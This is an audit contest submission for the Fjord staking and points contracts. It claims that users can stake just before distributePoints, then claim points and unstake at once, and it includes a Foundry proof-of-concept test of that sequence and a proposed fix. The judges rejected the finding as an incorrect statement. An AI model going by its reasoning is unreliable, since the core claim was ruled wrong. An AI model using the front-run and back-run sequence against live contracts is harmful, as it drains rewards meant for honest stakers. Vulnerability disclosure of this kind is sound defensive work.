DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: high
Invalid

Malicious users can earn points for instant staking and can manipulate the points distribution

Summary

Malicious users can abuse the points distribution mechanism by staking and unstaking Fjord Tokens around the distributePoints transaction, allowing them to earn points for instant staking period. This also enables them to manipulate the pointsPerToken distribution by temporarily staking large amounts of tokens, thereby distorting the reward mechanism without any costs

Vulnerability Details

Fjord Points (BJB) are earned by staking Fjord Tokens in the Fjord Staking contract. Users accrue points based on the duration their FJO tokens remain staked, with the accumulation rate determined by the pointsPerToken value:

modifier updatePendingPoints(address user) {
UserInfo storage userInfo = users[user];
>>> uint256 owed = userInfo.stakedAmount.mul(pointsPerToken.sub(userInfo.lastPointsPerToken)).div(PRECISION_18);
userInfo.pendingPoints = userInfo.pendingPoints.add(owed);
userInfo.lastPointsPerToken = pointsPerToken;
_;
}
function distributePoints() public {
// --SNIP
uint256 weeksPending = (block.timestamp - lastDistribution) / EPOCH_DURATION;
>>> pointsPerToken = pointsPerToken.add(weeksPending * (pointsPerEpoch.mul(PRECISION_18).div(totalStaked)));
totalPoints = totalPoints.add(pointsPerEpoch * weeksPending);
}

Points are distributed after each epoch by calling distributePoints.

function distributePoints() public {
if (block.timestamp < lastDistribution + EPOCH_DURATION) {
return;
}
// --SNIP
}

Malicious users can abuse this mechanism by strategically staking and unstaking tokens around the distributePoints function call. Specifically, they can:

  1. Refrain from staking any Fjord Tokens initially.

  2. At the end of a FjordStaking epoch, call FjordStaking::stake to stake tokens, the tokens will be staked in a new epoch.

  3. Call distributePoints.

  4. Back-run the distributePoints to:

    3.1 Claim the earned points corresponding to a week’s stake by calling claimPoints

    3.2 Immediately unstake their Fjord Tokens. The unstake is possible since the stake was done on the same epoch and the contract allows for immediate unstake in such case:

    function unstake(uint16 _epoch, uint256 _amount) external checkEpochRollover redeemPendingRewards returns (uint256 total) {
    // --SNIP
    // _epoch is same as current epoch then user can unstake immediately
    >>> if (currentEpoch != _epoch) {
    // _epoch less than current epoch then user can unstake after at complete lockCycle
    if (currentEpoch - _epoch <= lockCycle) revert UnstakeEarly();
    }
    //EFFECT
    dr.staked -= _amount;
    }

This behavior allows users to earn points for an instant staking period. Additionally, by staking a significant amount of Fjord Tokens temporarily, users can manipulate the pointsPerToken distribution, as the increase in pointsPerToken is inversely proportional to the total staked amount:

pointsPerToken = pointsPerToken.add(weeksPending * (pointsPerEpoch.mul(PRECISION_18)
>>> .div(totalStaked)));

Users can stake a large amount of tokens to skew the pointsPerToken calculation, and then immediately unstake to regain access to their tokens. Effectively the cost of this exploit is zero.

Proof Of Concept

Copy and paste the following test case into test/unit/points.t.sol:

First, make some necessary changes to produce a real PoC since the existing test suite on points.t.sol only mocks the stake action:

+import {FjordStaking} from "src/FjordStaking.sol";
+import {FjordToken} from "src/FjordToken.sol";
contract TestFjordPoints is Test {
+ FjordStaking public stakingContract;
+ FjordToken public fjordToken = new FjordToken();
function setUp() public {
fjordPoints = new FjordPoints();
+ stakingContract = new FjordStaking(address(fjordToken), address(0x3), address(0x4), address(0x5), address(fjordPoints));
- fjordPoints.setStakingContract(staking);
+ fjordPoints.setStakingContract(address(stakingContract));
}
}

Add the following test case:

function testUsersCanEarnImmediatePoints() public {
address user = address(0x2);
uint256 stakeAmount = 1000 ether;
deal(address(fjordToken), user, 1000000000000 ether);
skip(1 weeks);
// 1. Call FjordStaking::stake (new epoch will be created)
vm.startPrank(user);
fjordToken.approve(address(stakingContract), 1000000 ether);
stakingContract.stake(stakeAmount);
// 2. Call distributePoints to distribute points of the last epoch
fjordPoints.distributePoints();
// back-run 'distributePoints` transaction to
// 1. claim points
// 2. unstake immediately
fjordPoints.claimPoints();
stakingContract.unstake(2, stakeAmount);
skip(1 weeks);
// front-run `distributePoints` transaction to stake
fjordToken.approve(address(stakingContract), 1000000 ether);
stakingContract.stake(stakeAmount);
// 2. Call distributePoints to distribute points of the last epoch
fjordPoints.distributePoints();
// back-run 'distributePoints` transaction to
// 1. claim points
// 2. unstake immediately
fjordPoints.claimPoints();
stakingContract.unstake(3, stakeAmount);
console.log("Instant staking/unstaking rewards: %e", fjordPoints.balanceOf(user));
assertEq(2e20, fjordPoints.balanceOf(user));
}

Impact

By front-running the distributePoints function to stake and back-running it to claim points and unstake, users can exploit the points distribution to:

  1. Earn points for an instant staking period.

  2. Manipulate the pointsPerToken distribution by staking a large number of tokens temporarily.

Tools Used

Manual Review

Recommendations

The easiest fix is to restrict the distributePoints to FjordStaking and call it after each epoch's increment in _checkEpochRollover:

// FjordStaking::_checkEpochRollover
function _checkEpochRollover() internal {
uint16 latestEpoch = getEpoch(block.timestamp);
if (latestEpoch > currentEpoch) {
//Time to rollover
currentEpoch = latestEpoch;
+ fjordPoints.distributePoints()
// --SNIP
}
// --SNIP
}
// FjordPoints::distributePoints
function distributePoints()
+ onlyStaking
public {
// --SNIP
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!